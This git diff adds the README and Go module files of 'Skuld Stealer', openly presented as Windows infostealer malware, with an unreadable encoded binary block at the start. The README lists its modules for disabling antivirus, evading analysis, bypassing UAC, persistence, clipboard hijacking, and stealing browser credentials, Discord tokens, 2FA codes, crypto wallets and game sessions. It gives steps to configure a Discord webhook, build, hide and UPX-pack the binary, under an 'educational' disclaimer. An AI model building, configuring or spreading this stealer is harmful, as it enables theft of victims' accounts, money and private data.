zVGcxzaP5dSL{4G28%(xDH~ai{L|m|$ueyE1Iif2I0|NWYC|@3M3CG$2T(e=n<8wx9 z(xI*OWhA>NB-Yf>wxuP6C9~XWC0D5|61y|xj~Eib(7_8RGb?ESW>K?2IiBRvB5e!} zY%n^ctI$j9s4KLC|MCxAs(0`x)`_3O>f~R=&)b6^^IcEZBrfJtw|K9+M#jT2A5Le* zzLr?p-HT!QLEa`%cIBsCxcvZT4Sk4^D*YpPJ6b zbG*oskkWL)GZ|X?Q%Zt78MX2%BL2Us#zf%5Ygo|G;UKjJ39tGggK^N{q&ejWq7BrD zwH7SQ-5KQ(3zigp*t|lk+ocZ5D{cy{^hGryc!nVCo$ESlAA;FQK!U;1^CFNpNWT+3 zauT&HWBrhg=?f|ePrK_!zetT7-%HE_xl0n-PBEy7j6UoOjR|e{_Eo?;Hf``3167D9lb3+ocxkyq7+s#85X)p8k}~#XlUno4trc_vzHh|QGy`PkXF|o zFQF(Md;TPSkZlc;MqoMiO>Xda zRuG{YV44Nc{budi-7dtl^BKXky%3adh3<3xtp(FjmZ1pcHe*DMV6)Z^^zA_JLa#z4 zV4PWNC|+~fzJHm7uDWpKbt1h?5jZBA5{ao5QAN+tmEB*|hoQ<&DId;FJ194Q$ykm) z3pJb4sgir8MXhAl?#iIpBB(Ao_2rT>Mnq)_&xiMkd>`9{PquMm-BI8J%Pa5rm zo_W$Wqe^b`a;^)1*yK@|)(}i6qLKu|b8qFz*NtAH=HMma)JR4tCrkGFQq)?_0!iO% z==kmUM#TW=bg}9X{HEQoBzVnVtyNCT8qIY^mf<7Swm#Z^g-M94=e_9&hQ7whNb&(~ zkEA&}@|%NPSC1Wu)gsO>SLq(|;Zxn9x=8@;h6A$jEw(;$(uCRqC)M?C66dQ`s4=yB zq?!_E=HX8kAlVS$)-|IIS+2R&;Yl9jRy12ZmrR9s2)|K$Q91aj1~|oX;1OnAd(4;! zgN*5kq+c0vPzuER5n0RpXVWYEl#{K`0^ukMUi4+U$24k_z5*`~0+oU4;;$o0J(4&y zdF5da27mdUpkki9UV5i&PQySBWmtiLzj!EyDO)|QEcg5G%Y0fe+a7E~IUZSK^^TXv zX|+hVAcKGfD0^XHcXpm6!Hq+5Z`qAva+@%eea5tlo%I!L!(`R+^@;I$jd={YPUPV4 z82s*C4TGB=dm%95+KyCmSGaqq;_o9Jgr07@+|~QKAb+O!45L(ng~5{Yl-vp)WBs8t3_jU$>{4giaHRu>5&goUlKR!7Xnoq!;%6qrEidOC)&HNqN z%Wte|nEW@xFjga>Zs7l&O8)=JK>tsgIp^ZC_(CJ$zk^ni|6%^L;@uue0q5VDVZS03 z%5kpcdFvxHUuU1#S$<%CR2>8zBZkuR!NX5F)l*;EVd*QJ+v>NdN3_3VkjS|^Hj6%y zTQ)GgxZrQckE%Zd*6xG5MQBBaYQGk&bN-fdx`29_lN-e0zO)H1I6442({6ca9yw{t zAL??+U2t`feTz4|q6-U65!w;fR@$)_t{IZwcxV8eNSA#O6>YHUO~1_RUviA3AhYAH z^Y=DYISaBH5HfEDYh(B;)HSFFHl> zs#|lYmc}vbBcO~dC>k*WQ zHivA<2$%oax@8U zGFWL?wqO4?=oH%xCqkSvcdwsvS|;LQbb#WE3p7~KY-F?tY5vneNrmXtw|RXQYMU=A znb1Vv5Y4ik7OgycH29-PErllfak~Fzb4I|ljwaQlZh`q}$~OTJPJHq|2iCj zzHkhzTQ77dzzm`AZ#;2OT8zhg>bc{>-0!)d4RTe(3!nJ2HqUq$GRYAa%kcrI9~2Vr zNJ_eS4?JHiYrNRO<=o>u2dR^30d0S#6>tk@T(iwccTP3A=BdeSRbQva8EuCgXd?4- zbqPxa@cm}C_WpL-V670tXvoX2vO|AaZKHm9`I0BVHK6ubL&nf&ikz?d&AT_5>3}Uo zvh^^)ju($fHC_;c$JAoQ0Onc{M;z*VESpLYWOO7_aM)p|5zxo2dhHcjTM5Tj!G>3I zgTRx7wFgbOdL!VUmhv_4aoVLN`U=dqcccj*>1pwso+gLZznYT}EUfY#o*@s#075)RLdn5lO}v+2et!>zCzX$o$Fzhuc#4ZIk%>5%3hmpw)h46HS8RKT zH07RZFJ{BufIyKXK5no{*8`+5){@Fo^d;aaXDqZoPI|0Sh{SBz5-uQuKd&+|kYen8V!Pau{Cp z4T4s1K_c}Ij((rPQ9|*J2nYng>tq_V3mPn{kE{0p`pWje8-0wx$KA%Ts|tD(h-kn0 zJu2x62DSO;nd=5YB{?HXf~(58HwmLHH0v}boMwWKZ22ghZF%lhdrOqM`}ot+1S9?K z(vIyiK#N+>*Ddlggh3(|Wf52g`{1iHa(K0=-RW-6HH>*ULZxQM7imyoJO7;B&yQa^ zHwVSq>}_DD&!*+a0@^CtKj`@&gI&k{3DwP}+<{B`F@h16(}8UYcVf5Zj6lXG7JRpd zLf^5Kf!r5iYf$HLs8NL_)Q7Mdwp}m(`u>i;M+VQ8!cG`wZt2^bUyOD=NNX-8G%WL4 z3q?z^tccIJ!c>TRPbHOJG@zNrY){1(-k4OIGb6@zQd)}Fn#7&arA>l0y+PAL4TZaB zvcGs^yPqgg-z!`7c_oT2pZTCoCb1cVTY@MOiG#!9c8~pHjt)E8Cd;o(>}Er|cr(e< zMKwu3+2Cuo9!fI=Rd2mbGcXp3Fl^Y*NE7^XWf^ zRdZma1_K&nYjie(o&JPl%-Duiw;X{6G0Yd! zyOAKvL+jjz;oQl9F%F{Z4eDQDu)}yf@Lvx9|3l~XKk>5v2YJ|kH;ZAqb-dtx21lB$ z^Qz*J!(u?@K70W>$z79cLcY`S*V#m z`x>oFx4?j+o_iPMkSOr%dDfRXE=QLCEZCrlr4=^^<_1zxiO9rr2`2t%i~cC~BElv6 zb^r467GW5xQVcH-Z*X2k_-nF%myjOJh8PC-SK=n=Owiu%vl}#JuoDY5l*okEy4M}# z6{at5nr)lYPwpmfN}Wq0%*4mqiGdJ~_KRL58sBc*d&TgF#>VO*tl^jn~}U1ZZjPOG7Yl)D>hIm16R$ILjB{h@)OlA z0wChhAju=`l@@{|rv@j{#}dQhu-Gs|=;H_MgraAydO$5Vm=i~n_tQj5y=w%KP}?B! zttR<_jn(ADTv$?`aN?pBY79KR^3i1QL7)4w=Kac5WwiGzR=c)D4Jx89)t?2Rn>}1I zcu1g3tw=xNnxD#gxje38EtHTo_^3sdJF*i21Y*PLmA?!X>x(vAR^YrK38gP0zYhyP z8@Y+!XLq12-)mpL^LLKIGYqF0+WR?#0cJeskqbf9|4`dSB~Vz~c}CfYrAwZvd)+yL zHHg9;p2Dun0xtF|QDg)SKSE(8ip{mHrObP5@)h;C?{9vLS+VUTp3rjSlnT$c{PZV% zdxq-jHXu*w@eTspyPVGf6x0C1%!oU%koAw&sZm;OkP4RZ#9P>4^rw@xkg03&i@RnB zWSXGxwi#j1<&=`SOZ9h@v>C5Iyl=sPibOTwQ!XGYA^_Z@0|B<-fgnHDiD=Yu3VleC()NKBVJVhqdZm)Q7*Hl`4+3lL$S_POT5Wa zm&qwohctOTwxFPFyv5R903=w6=v*wocuhw!lf~{KsRWoO&DjSzgo#fH^l>TqNkjZ1 zjF1!{>D%?uXq@u%#7z*BM&`HK$CRN&DMH1jWg{b31MX`#2QF?)?GQBEa^6KFsQm~t zh&Q+NyB-V)3Ax^<-}e~|Es-ufj>{GY!kA<8nZ47e+1m0p{XGnt)h=93J~uHPKgMCa zNbn@mGFpDBG07!e4EBt3`Nn+X4k1n5k)WTUal4yH!Xt7+l?v87={{hgzH#H!`giAq zdW*Z3*B2ac^TSV~X>1twcRC}|oOWxp?u=V6cHmQOtpk-(zP%x?IpTr1Z*^X~-`zp~ z8MbI8oAu=FGq`2N6PNph0dS-6pS8;mZ~8w~mp-#OIXFnauNNAiRM zO~H*gF+DVxl{u5%jus2V7+|=@%|cBzXg8JtY^g$sB=3Tio=OV*3#*b2FYm8_mMI)9 zx-G5|5IwUw1U3ch;%$TUfJq;4=rV2?DypQBf6d5|xe+L&t#rZ5ySNVSEad_IRn=kV*Dzp?iAiIB7gzeP8))F@8d9JZ zAvGZjhro_6w)RWY6UTTaH^!~{x8ZMR>&jqcqJzsOeaV3c`vd_^;lO?s_-(K=4-WCY z2^KivKmOJ_fT*gnm$Bkd9GC+KagAlBaA^Gxs*mg={J*Pr{~MnF$D&`(K}|L9YiPU< z=M{oLb8oN%Tf8NjIp1;V%FR%rQr>8}BDY9!)CRv1*ntv>noG@yp~ z1L&C(7~$>LT_p!zr*%hO_gDQi!JBp`fWS``4X(^O>*@)4*R!gy@zLt~rr5P6NQZC{ zX-;iD21pMzE3d*YIIbPq0x#}Fcu-7Tx1qtN^v3z%YxZ&(h+0a)HcVYh(mY#nm%{&z zraIqcYqB4h+*y3Pm}q9Q1LAcXZTvdpkFU1bKi|LroOV(q`Iw?x5s@dGxtXh>)stl* z=!2iT*Em#_ixAH7L6f<11LWs1g>_;uuhH)C9#nH*ckUt(;HFEHeGAi1!~@+(I1mab z*bFGs&9DN)$dQcBf1&W`Z-wOpiHiP83sJGmggO<tVT9JQTVA6oeQ_)#L z=VX7dK{c0$)3nDtgYl9KPYn-_6p7N_U(U#;3J5w9?oC4zc??rDE#so}7;&scYeoG? zF7^T1kt`62DC^)$WYVb+Ymv;Mx8EbfG_MI#loZY?>QCO@Bh%Uq$d{(Iqn?#BPBHz+ zPsO#PGd?T*RrO@tvcJB0cRr0&Rw{z9BZ`EV`htMXJ?&+i<_^!ahx+9r@6RE=wgC{6 z9|ciF+b=GxB2;7;MseyC6H!t(Fi~l}%->N=0Nr5r=pcpv7b^c*O^HkOvmNdVYb}-Q zC$|jA^A3Z8BxfV?PzST~0N?tQVMzg61SZfTI@%yF*Ia1`a!v?>%eNKtP(|3cFf;2M zV^1tHL&@K18-t&JTB4+y`CS8RIDmQ@U^|DeVFfpq@#n}83XsH2Rb83aCx*zNgE6sz(ptTt-uwTtU*D55;N$SI3 zHX-FzCrHIO+Wxn4FQ)rID>6i;)BM8Xyzt)L+R(e$)}ew95TDpn#hV3fyWq@MbVhxk@6YW8{K!yCUA zdLu?-xE!Lpmf;StO`#jSiMHo(QwW6O71v*T2ACOig|*RRlE`{dyf7%vfmY+jIa$>g z=QLuPXMkxrfGtTm`c2mQ`l*E0_B9q3$1qq^?HzT;r1Ou%Z;(OWk<$mem4ncy^v!v0p2B*+t0dJKE2A+d1;g?DolZQzElE!vW zqEwlJkQf;H%05UqGt(Jl`{0C!N=Z~%4)%TSn5=9Tn|ktL82jY{T|_bE0=Y7^*!8xD;YyYm*uFO~_uyHnpp){KZI3jI_m{ z0=(RjfPjPubV?uDNNus07-LEovcn1`luXpXRSzVtTySKdwM_Wqjgh7&9saf4Q`Nhl@`!4XZ5zEj-AT$5O94 zv(w2sIQbF`vbdF}`vxD$7cY;>JUkOAu-kGkPb?Ch3oA0SY$*47iz|$XjNqPh z?CUHLMv|L?i1z+^Fp~A%POUosUmoA}*%>!TS51x0N1qsI3c%M=I7t5U@(Rs=wlV+x zPRjqpt2rZ6MlRU>aSbLL0YA$muxsB%+F0n%DuhCK&*B13B@A?#r-12WfGU8#OPY13 z_&VS_l^F(A+sxnJnOb>FW%*;X0?q>%aNs@k;f%v${lF}s11 zhK&6303jU}MiSM}Bsc-lKm~pGgR0U#v>GU%WN2WDHUc~eoYGNyN2e@Awph&b>oE+$ zgMjy(C)}q`uHe@sl-+V$|BxsoBBBM3Nbi{%GeW#`j_8v{_n`(bY=8y&0ugh0Axk?! z1qIZz&P73)V%)Q~C6O>WB`3EwY@PEBY;9b&KH&}zGxb7Pt_3S_-Dq|piy$H)B-tLn;{@zNA$S(%aVXo$+(p2}k!iVBa?>A=M`p4h@A7bAGF z!FapC`&*EEg;)O1hxRFu+V#-C9aEdYCYIZZCNCv5*#|>NCcjj9Xkj+(1swxj2)1bJ zgRGInEK3qIO0OZ2@dnkIoXa;a4VHperLcJI{jf#OmsuEayVwoQN0JU4R)S<__eJl> z+&$A5(b0j@nyhiCu2Re?0AGRP@;f~|Wl~2GXMR4oU_l2WyjS6Rt{$Dz30-dPq}(Pyd9 zQ>KV>XT=-?>)kHpdnDWrkYcC%Wecq=kIx<-s_Y!1<;cn7q2Dh~pXZo|!*H}S@yhAu zxTs&wU8woWBr-WUScW|d!+trCr1~XrFs6UKIgg75$eWI+NkHu_z%0@0IXQD@LUSDC zSR*1~kxW!;3&30c?)-7gM#@Plx;fxTpZMyavRtq!MN zm|QP&^0}i|KaHmay5GjUw2b_H@rj{I*xD@*<&46&ZgU+|m;Ii#biLTTmsd~y zs7JQu#z*Cs&)3zW97=tk-?u%l{uH9DW{j0>{>-H$UfULSh2->UF1Bu@o3~rz649qE zD2dq4ol2`S0<*Znmf42C6b?7`U6%V5Bwnazz8S8`U*s*itr-fN#@v8^=~*9JF7u@w z&d!heR>Y=(s0;ylOumHN2S#6aSk?%>w()r z5plHL1tZ$KnIor(u$(<%*Fv$sFb)bWJ3n*C)9Q+-0hg;1X+K-Ao6+jV+-MbW{aYQ{ zkS{_kwO<=O>m={zG$64Tbzr7apR7d&J9>-MFkWJ{-_8M%36S#VQiJSo(}WnGn;k|vv_xag>YUqP(Fk< z<9Y3cH`cU|af4y)sIFx>@bpe1f|wDg%?>_WEa%$ZONBRExJKm3o9+LE6U|szQz)}Q z5i|?RbUXQJX3b%wzPvF%<7^g7=Q-%mY1SiOcfRgY>UqJHanjtA) zud|%gh{|_)A^@P8BL|a8W?8D#_3%Q85;r_zPvBGXHG+il_A`3PTemNS+<>LbGASrM zk~ZqQMiHP!SbNHWBeynMjTdU8oMneSGa+4Xof%oMTfeocqF~Ju&V5vTZHBI>L^4D@ z8ZUH)=AUkW51h?=t;HI?E)2WR{$7h+Z#X0Fa{RN%q@Amt##}`Z6Tb69mdr+UyYuh8 z*K5tmfng)h72Vp@rxp;j1>mG5nR!@q%vA3f+o+p3LgzWUj&W+Z!g~CQ;56!s}P0X=?VhJouWJj z!TDZGlpP??OD=^R%uJgmc!EU7DK!OJ=LcBRtz+P6HxP0vf6X4?nQ7U;2E@*+cIHBB#1u9DjgG9-GeUEl zQFnp2a9t6G!rNpTnfnXglr3DUm-$|QEAbXG^>~a|XEnb^TdIJCrR7B`G}Z2AB~|(g zkSR*p9CM(hb}8gZas(ep{!vd~tG8S%okxUNdfGY0=>gYc8m@Xb4iD+t#~ryu>|##O zVy_~sTDkYJxsN(#b>=#JP~5atY>1+x8{NCp;$R-$f1tD?cR9@|DY&nO1eO^D>iM{< z_M4%fBJaVi)xm>*`Ri$;bg+72 z`Tx}!og5ePsR7F%v28Ox-m72hv-|T)xP}p}Mink@|0qH^BV-P;#%7CwBC70ALA9nC z>?o-`_b86WuU zJF-(IXDSj~#GKu!_|VdL28>BTYk(r;N-CiePUv*eU6>Q0qd<%c=l_^F5`}L?j&fv^tY>P-a0uc{-48U&l|^))YOq5B8aP&`8#G6=$M^JsQMnP+&|a2Rz(3-Lb^ zFkQDU`JzRfDTZnAfWdf*{=PfmeHs9!Udlu0Zp7K0823vvN>r0+)@}iB&?YMowtBJ6 zjt@J#@Qsw_i{U%%cJN^&GBI-#|1dw~pjSO=sn?-P44l~7>r2`l^c% z>JOP?D~)h(^S+at2oBIrX7Sc+6+%E{?8c?Gmk|3hlA9o5IF3!9o$7K>WD5%Brqa#g zpPw-DR5N|GjE_aRL*=;PqpTP^CjOwWYXn%ld**{zT(MaYtXxpRdKb32W2{UgiC25; zi@0c?S%9vdxV5BsB_d01e0VVh0FM{g5=QO|N9SAnCGvM*U~|yg-$>z9>5r2HiP4T@ zFIqYHl9kBe{DK9L`o!4Z>lqv#6y`{^M_g`zyN>fTq?qfz{zyHZsk9Xri9QLVZSOo- zOWRiuP)ggyYPmUtf(D8-f|HWFgwk(@)7~yXeEC~H`hckedl9Ig_Z5qn!nm>mF~bP9 zu|ihubx6>OJ|VSh(3~MOMF&~|onwePbUHAVn+QGx9w*us{jD~rKGh$%CL>kJmO#Bq z$s9BUfI61HF30YYK34r=N}V=VWh#9`X+|FEA&x&g-8k33&&-c$IcNqa->t|*lc%UW znvHJ~_2`Zw!-Gx8@C)bq;c*aI)psyUTX(z}sDwe|2qcLa%d5h1V-d-d(r&sn4;K)% zUYK$F<$7w4(QaqYC@dJ5+4^0*S#E#)8Gps$mi;9Wn6j+`%6EC=k{k*6H&$Z5Og@8H z9J!oW@8tj2PD^vF$!_y*?zVWnm!JExozs)9NSQgnVFQ^tj)LysLHKuaM32RT1`hBa z5b@;zyM}zKY$ec1GmI-AFo#UjWWMej{zMbly*&4*kw3uI;6VZ7{;av6MMUwzo zM-vbGRe}bljURk>1e-qxLJ`w>$2ZZ4G?LBn +Forks +Stargazers +Issues +MIT License + + +
    + +

    + +

    + + + +

    Skuld Stealer

    + +

    Go-written Malware targeting Windows systems, extracting User Data from Discord, Browsers, Crypto Wallets and more, from every user on every disk. (PoC. For Educational Purposes only)

    + +--- + +
    + Table of Contents +
      +
    1. + About The Project + +
    2. +
    3. + Getting Started + +
    4. +
    5. Usage
    6. +
    7. Preview
    8. +
    9. Remove
    10. +
    11. Contributing
    12. +
    13. License
    14. +
    15. Contact
    16. +
    17. Acknowledgments
    18. +
    19. Disclaimer
    +
    + +## About the project + +This proof of concept project demonstrates a "Discord-oriented" stealer implemented in Go. The malware operates on Windows systems and use fodhelper.exe technique for privileges elevation. By elevating privileges, the malware gains access to all user sessions on every disk + +### Features: + +- [antidebug](https://github.com/hackirby/skuld/blob/main/modules/antidebug/antidebug.go): Terminates debugging tools. +- [antivirus](https://github.com/hackirby/skuld/blob/main/modules/antivirus/antivirus.go): Disables Windows Defender and blocks access to antivirus websites. +- [antivm](https://github.com/hackirby/skuld/blob/main/modules/antivm/antivm.go): Detects and exits when running in virtual machines (VMs). +- [browsers](https://github.com/hackirby/skuld/blob/main/modules/browsers/browsers.go): + - Steals logins, cookies, credit cards, history, and download lists from 37 Chromium-based browsers. + - Steals logins, cookies, history, and download lists from 10 Gecko browsers. +- [clipper](https://github.com/hackirby/skuld/blob/main/modules/clipper/clipper.go): Replaces the user's clipboard content with a specified crypto address when copying another address. +- [commonfiles](https://github.com/hackirby/skuld/tree/main/modules/commonfiles/commonfiles.go): Steals sensitive files from common locations. +- [discodes](https://github.com/hackirby/skuld/blob/main/modules/discodes/discodes.go): Captures Discord Two-Factor Authentication (2FA) backup codes. +- [discordinjection](https://github.com/hackirby/skuld/blob/main/modules/discordinjection/injection.go): + - Intercepts login, register, and 2FA login requests. + - Captures backup codes requests. + - Monitors email/password change requests. + - Intercepts credit card/PayPal addition requests. + - Blocks the use of QR codes for login. + - Prevents requests to view devices. +- [fakerror](https://github.com/hackirby/skuld/blob/main/modules/fakeerror/fakeerror.go): Trick user into believing the program closed due to an error. +- [games](https://github.com/hackirby/skuld/blob/main/modules/games/games.go): Extracts Epic Games, Uplay, Minecraft (14 launchers) and Riot Games sessions. +- [hideconsole](https://github.com/hackirby/skuld/blob/main/modules/hideconsole/hideconsole.go): Module to hide the console. +- [startup](https://github.com/hackirby/skuld/blob/main/modules/startup/startup.go): Ensures the program runs at system startup. +- [system](https://github.com/hackirby/skuld/blob/main/modules/system/system.go): Gathers CPU, GPU, RAM, IP, location, saved Wi-Fi networks, and more. +- [tokens](https://github.com/hackirby/skuld/blob/main/modules/tokens/tokens.go): Extracts tokens from 4 Discord applications, Chromium-based browsers, and Gecko browsers. +- [uacbypass](https://github.com/hackirby/skuld/blob/main/modules/uacbypass/bypass.go): Grants privileges to steal user data from others users. +- [wallets](https://github.com/hackirby/skuld/blob/main/modules/wallets/wallets.go): Steals data from 10 local wallets and 55 wallet extensions. +- [walletsinjection](https://github.com/hackirby/skuld/blob/main/modules/walletsinjection/walletsinjection.go): Captures mnemonic phrases and passwords from 2 crypto wallets. + +## Getting started + +### Prerequisites + +* [Git](https://git-scm.com/downloads) +* [The Go Programming Language](https://go.dev/dl/) + +### Installation +To install this project using Git, follow these steps: + +- Clone the Repository: + +```bash +git clone https://github.com/hackirby/skuld +``` +- Navigate to the Project Directory: + +```bash +cd skuld +``` + +## Usage + +You can use the Project template: + +- Open `main.go` and edit config with your Discord webhook and your crypto addresses + +- Build the template: (reduce binary size by using `-s -w`) + +```bash +go build -ldflags "-s -w" +``` + +- You can hide the console without `hideconsole` module (you must remove `program.IsAlreadyRunning()` check from `main.go` before) by running + +```bash +go build -ldflags "-s -w -H=windowsgui" +``` + +- You can also optionally pack the output executable with UPX which will reduce the binary size from ~10MB to ~3MB. To do this, install [UPX](https://github.com/upx/upx/releases/) and run + +```bash +upx.exe --ultra-brute skuld.exe +``` + +- You can also use skuld in your own Go code. Just import the desired module like this: +```go +package main + +import "github.com/hackirby/skuld/modules/hideconsole" + +func main() { + hideconsole.Run() +} +``` + +## Preview + +![](.github/assets/system.png) + +![](.github/assets/browsers.png) + +![](.github/assets/token.png) + +![](.github/assets/discodes.png) + +![](.github/assets/wallets.png) + +![](.github/assets/games.png) + +![](.github/assets/codes.png) + + +## Remove + +This guide will help you removing skuld from your system + +1. Open powershell as administrator + +2. Kill processes that could be skuld + +```bash +taskkill /f /t /im skuld.exe +taskkill /f /t /im SecurityHealthSystray.exe +``` + +(use `tasklist` to list all running processes, skuld.exe and SecurityHealthSystray.exe are the default names) + +3. Remove skuld from startup +```bash +reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Realtek HD Audio Universal Service" /f +``` + +(Realtek HD Audio Universal Service is the default name) + +4. Enable Windows defender: + +You can do it by running this [.bat script](https://github.com/TairikuOokami/Windows/blob/main/Microsoft%20Defender%20Enable.bat) (I'm not the developer behind it, make sure the file does not contain malware) + +## Contributing +Contributions to this project are welcome! Feel free to open issues, submit pull requests, or suggest improvements. Make sure to follow the [Contributing Guidelines](https://github.com/hackirby/skuld/blob/main/CONTRIBUTING.md) + +You can also support this project development by leaving a star ⭐ or by donating me. Every little tip helps! + + + +## License +This library is released under the MIT License. See LICENSE file for more informations. + +## Contact +If you have any questions or need further assistance, please contact [@hackirby:matrix.org +](https://matrix.to/#/@hackirby:matrix.org) + +## Acknowledgments +This project has been greatly influenced by numerous infostealers available on GitHub. Many functions and sensitive paths have been derived from public repositories. My objective was to innovate by creating something new with code from existing projects. I extend my gratitude to all those whose work has contributed to this stealer, especially +- [FallenAstaroth](https://github.com/FallenAstaroth/stink) for tempfile-less browsers data extraction +- [į“į“į“É“D4ʀᓋ](https://github.com/moonD4rk/HackBrowserData) for browsers data decryption +- [addi00000](https://github.com/addi00000/empyrean) for Discord embeds design +- [Blank-c](https://github.com/Blank-c/Blank-Grabber) for antivirus-related functions and more +- [6nz](https://github.com/6nz/virustotal-vm-blacklist) for antivm blacklists + +## Disclaimer + +### Important Notice: This tool is intended for educational purposes only. + +This software, referred to as skuld, is provided strictly for educational and research purposes. Under no circumstances should this tool be used for any malicious activities, including but not limited to unauthorized access, data theft, or any other harmful actions. + +### Usage Responsibility: + +By accessing and using this tool, you acknowledge that you are solely responsible for your actions. Any misuse of this software is strictly prohibited, and the creator (hackirby) disclaims any responsibility for how this tool is utilized. You are fully accountable for ensuring that your usage complies with all applicable laws and regulations in your jurisdiction. + +### No Liability: + +The creator (hackirby) of this tool shall not be held responsible for any damages or legal consequences resulting from the use or misuse of this software. This includes, but is not limited to, direct, indirect, incidental, consequential, or punitive damages arising out of your access, use, or inability to use the tool. + +### No Support: + +The creator (hackirby) will not provide any support, guidance, or assistance related to the misuse of this tool. Any inquiries regarding malicious activities will be ignored. + +### Acceptance of Terms: + +By using this tool, you signify your acceptance of this disclaimer. If you do not agree with the terms stated in this disclaimer, do not use the software. diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..7717042 --- /dev/null +++ b/go.mod @@ -0,0 +1,43 @@ +module github.com/hackirby/skuld + +go 1.21.3 + +require ( + github.com/alexmullins/zip v0.0.0-20180717182244-4affb64b04d0 + github.com/shirou/gopsutil/v3 v3.23.9 + golang.design/x/clipboard v0.7.0 + golang.org/x/crypto v0.17.0 + golang.org/x/sys v0.20.0 + golang.org/x/text v0.16.0 + modernc.org/sqlite v1.26.0 +) + +require ( + github.com/dustin/go-humanize v1.0.1 // indirect + github.com/go-ole/go-ole v1.2.6 // indirect + github.com/google/uuid v1.3.0 // indirect + github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect + github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect + github.com/mattn/go-isatty v0.0.16 // indirect + github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect + github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect + github.com/shoenig/go-m1cpu v0.1.6 // indirect + github.com/tklauser/go-sysconf v0.3.12 // indirect + github.com/tklauser/numcpus v0.6.1 // indirect + github.com/yusufpapurcu/wmi v1.2.3 // indirect + golang.org/x/exp v0.0.0-20190731235908-ec7cb31e5a56 // indirect + golang.org/x/image v0.18.0 // indirect + golang.org/x/mobile v0.0.0-20230301163155-e0f57694e12c // indirect + golang.org/x/mod v0.17.0 // indirect + golang.org/x/sync v0.7.0 // indirect + golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d // indirect + lukechampine.com/uint128 v1.2.0 // indirect + modernc.org/cc/v3 v3.40.0 // indirect + modernc.org/ccgo/v3 v3.16.13 // indirect + modernc.org/libc v1.24.1 // indirect + modernc.org/mathutil v1.5.0 // indirect + modernc.org/memory v1.6.0 // indirect + modernc.org/opt v0.1.3 // indirect + modernc.org/strutil v1.1.3 // indirect + modernc.org/token v1.0.1 // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..7f3f725 --- /dev/null +++ b/go.sum @@ -0,0 +1,122 @@ +github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= +github.com/alexmullins/zip v0.0.0-20180717182244-4affb64b04d0 h1:BVts5dexXf4i+JX8tXlKT0aKoi38JwTXSe+3WUneX0k= +github.com/alexmullins/zip v0.0.0-20180717182244-4affb64b04d0/go.mod h1:FDIQmoMNJJl5/k7upZEnGvgWVZfFeE6qHeN7iCMbCsA= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= +github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= +github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= +github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= +github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= +github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ= +github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26/go.mod h1:dDKJzRmX4S37WGHujM7tX//fmj1uioxKzKxz3lo4HJo= +github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= +github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs= +github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= +github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 h1:6E+4a0GO5zZEnZ81pIr0yLvtUWk2if982qA3F3QD6H4= +github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I= +github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ= +github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mattn/go-sqlite3 v1.14.16 h1:yOQRA0RpS5PFz/oikGwBEqvAWhWg5ufRz4ETLjwpU1Y= +github.com/mattn/go-sqlite3 v1.14.16/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/power-devops/perfstat 